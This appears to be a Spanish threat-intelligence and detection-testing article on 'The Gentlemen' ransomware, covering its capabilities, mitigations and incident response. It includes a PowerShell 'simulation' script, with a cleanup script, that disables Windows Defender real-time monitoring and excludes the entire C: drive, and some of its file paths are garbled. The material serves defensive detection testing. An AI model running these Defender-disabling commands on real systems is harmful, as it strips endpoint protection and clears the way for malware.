Licencia para Cifrar: Cuando «Los Caballeros» Pasan a la Ofensiva

Resumen

El colectivo de ransomware The Gentlemen apareció en julio de 2025, ejecutando una operación de doble extorsión que tanto cifraba los datos de la víctima como sustraía información sensible. El malware es multiplataforma, apuntando a entornos Windows, Linux y ESXi, e incluye capacidades de autoreinicio, persistencia de ejecución al inicio y estrangulamiento de cifrado configurable. La propagación se basa en WMI, PowerShell remoting, SCHTASKS y otras herramientas de administración integradas en Windows. Los operadores operan The Gentlemen como una oferta de RaaS, proporcionando a los afiliados amplias opciones de ajuste y personalización.

Análisis del Ataque del Ransomware The Gentlemen

El análisis de Cybereason de una muestra de Windows de 64 bits en Golang documentó sus opciones de línea de comandos, el texto de la nota de rescate incrustada y un amplio conjunto de rutinas anti-forenses en PowerShell. Los investigadores también identificaron ubicaciones de registro utilizadas para la persistencia, una «lista de eliminación» de servicios destinada a deshabilitar procesos críticos y la dependencia de binarios nativos de Windows para la escalada de privilegios y el movimiento lateral. La canalización de cifrado está construida sobre XChaCha20 y Curve25519.

Mitigación

Las medidas defensivas sugeridas incluyen aplicar la autenticación multifactor, mantener copias de seguridad fuera de línea con frecuencia, aplicar rápidamente parches de seguridad y reforzar los controles de ejecución de PowerShell y WMI. Las pilas de protección de endpoints deben habilitar salvaguardas de anti-malware en tiempo real, anti-ransomware y protección para las copias sombra de VSS. Los equipos de seguridad también deben monitorear modificaciones de registro anormales, tareas programadas recién creadas y patrones característicos de comandos PowerShell.

Respuesta

Cuando se identifica actividad del ransomware The Gentlemen, inmediatamente cuarentena el sistema afectado, captura la memoria volátil y reúne artefactos clave, como entradas de registro, tareas programadas y registros de eventos de PowerShell. Realiza la adquisición forense de las notas de rescate y los archivos cifrados, luego restaura los sistemas afectados desde copias de seguridad confiables una vez que se verifica la erradicación. Involucra a los equipos de respuesta a incidentes para investigar las rutas de movimiento lateral y la evidencia de exfiltración de datos.

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

• Narrativa y Comandos del Ataque:

  1. Objetivo:Deshabilitar la protección en tiempo real de Windows Defender y agregar una ruta de exclusión para permitir que la carga del ransomware escriba archivos cifrados sin obstáculos.
  2. Método:Usar un PowerShellInvoke-Commandcon un bloque de script en línea que ejecuta los dos comandos de preferencia de Defender. Esto refleja la sintaxis exacta observada en las muestras de ransomware “The Gentlemen”.
  3. Pasos:
     • Abrir una sesión de PowerShell con privilegios elevados.
     • Ejecutar elInvoke-Commandque contiene el bloque de script malicioso.
     • Verificar que el monitoreo en tiempo real de Defender esté deshabilitado y que se haya añadido la exclusión paraC:.
     • (Opcional) Crear un archivo cifrado de prueba para emular la actividad del ransomware.

• Script de Prueba de Regresión:El siguiente script de PowerShell autocompleto reproduce el ataque exactamente como la regla lo espera.

  # ------------------------------------------------------------------
  # Script de prueba para activar la regla Sigma "Detectar Comandos PowerShell
  # Utilizados por el Ransomware 'The Gentlemen'"
  # ------------------------------------------------------------------
  # Asegúrese de que el script se ejecute como Administrador
  if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator))
  {
      Write-Error "Ejecuta este script con privilegios elevados (Administrador)."
      exit 1
  }
  
  # 1️⃣ Deshabilitar el monitoreo en tiempo real
  Invoke-Command -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true
  }
  
  # 2️⃣ Añadir exclusión para la unidad C:
  Invoke-Command -ScriptBlock {
      Add-MpPreference -ExclusionPath 'C:'
  }
  
  # 3️⃣ (Opcional) Simular la creación de un archivo de ransomware
  $dummyPath = "C:RansomTestencrypted.txt"
  New-Item -ItemType Directory -Path (Split-Path $dummyPath) -Force | Out-Null
  "Este es un payload cifrado de prueba." | Set-Content -Path $dummyPath -Encoding UTF8
  
  Write-Host "Simulación completada. Defender ahora debería estar deshabilitado y la exclusión añadida."

• Comandos de Limpieza:Restaura Defender a su estado predeterminado y elimina los artefactos de prueba.

  # ------------------------------------------------------------------
  # Script de limpieza – volver a habilitar Defender y eliminar archivos de prueba
  # ------------------------------------------------------------------
  # Volver a habilitar el monitoreo en tiempo real
  Invoke-Command -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $false
  }
  
  # Eliminar la exclusión de C:
  Invoke-Command -ScriptBlock {
      Remove-MpPreference -ExclusionPath 'C:'
  }
  
  # Eliminar el archivo y la carpeta cifrada de prueba
  $dummyPath = "C:RansomTestencrypted.txt"
  if (Test-Path $dummyPath) { Remove-Item $dummyPath -Force }
  $folder = Split-Path $dummyPath
  if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
  
  Write-Host "Limpieza completada. Configuración de Defender restaurada."